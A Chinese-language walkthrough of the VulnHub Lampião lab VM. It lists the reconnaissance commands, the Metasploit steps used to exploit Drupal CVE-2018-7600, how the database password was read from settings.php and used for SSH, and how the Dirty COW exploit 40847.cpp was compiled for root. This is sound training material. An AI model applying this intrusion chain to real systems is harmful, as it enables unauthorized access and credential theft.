一、环境搭建
lampiao靶场下载地址:Lampião: 1 ~ VulnHub
使用vm打开,配置kali和靶场在同一个网络,建议都为net连接。
二、信息收集
1、nmap扫描
使用nmap扫描整个网段,找到靶机的ip地址
nmap -sS -Pn 192.168.108.0/24 #得到靶机ip地址
2、进一步nmap扫描
使用nmap进一步扫描,扫出更多的信息
nmap -T4 -A -p 1-65535 192.168.108.129 #对目标ip进行nmap的-T4快速扫描
3、端口
80端口
访问靶机的80端口,发现一个静态网页
dirb http://192.168.108.129 #对目标IP进行基于字典的web目录扫描,无果
nikto -h http://192.168.108.129 #对目标ip进行web漏洞扫描,无果
1898端口
目录爆破
dirb http://192.168.108.129:1898 #得到robots.txt
网页打开robots.txt文件,发现更新文件CHANGELOG.txt
访问更新文件CHANGELOG.txt,发现Drupal版本7.54,百度查看发现存在CVE-2018-7600的Drupal漏洞
三、漏洞利用
使用msf的search发现存在Drupal核心远程代码执行漏洞CVE-2018-7600,使用msf攻击
msf #打开msf
search durpal #搜索durpal的版本漏洞
use 1 #使用攻击模块1
set rhosts 192.168.108.129 #设置目标ip
set rport 1898 #设置目标端口
show options #查看信息是否设置正确
run #运行攻击模块
cat #查找文件内容
pwd #查找内容为pwd的文件
cat sites/default/settings.php #查看settings.php文件
找到数据库密码
ls /home #查看home下的文件
四、权限提升
1、登录ssh
使用tiago和数据库密码进行ssh登入
ssh tiago@192.168.108.129 #使用ssh连接登入
2、查找40847.cpp文件
searchsploit dirty #用kali自带的searchsploit来搜索dirty中的漏洞利用代码
cp /user/share/exploitdb/exploits/linux/local/40847.cpp /home/zhang #复制一份40847.cpp文件到/home/zhang文件下
3、复制粘贴一份40847.cpp文件到目标靶机
先将上文复制的一份40847.cpp文件打开,复制里面的内容到真机
然后将内容复制到目标靶机的一个新文件dirtycow.cpp里
vim dirtycow.cpp #新建并打开dirtycow.cpp文件
4、编译、运行dirtycow.cpp
ls #查看文件是否存在
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil #编译、运行dirtycow.cpp【附页1】
whoami #查看当前有效用户名的命令
ls
cat flag.txt #查看flag.txt文件
【附页1】
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o 指定gcc生成的目标文件名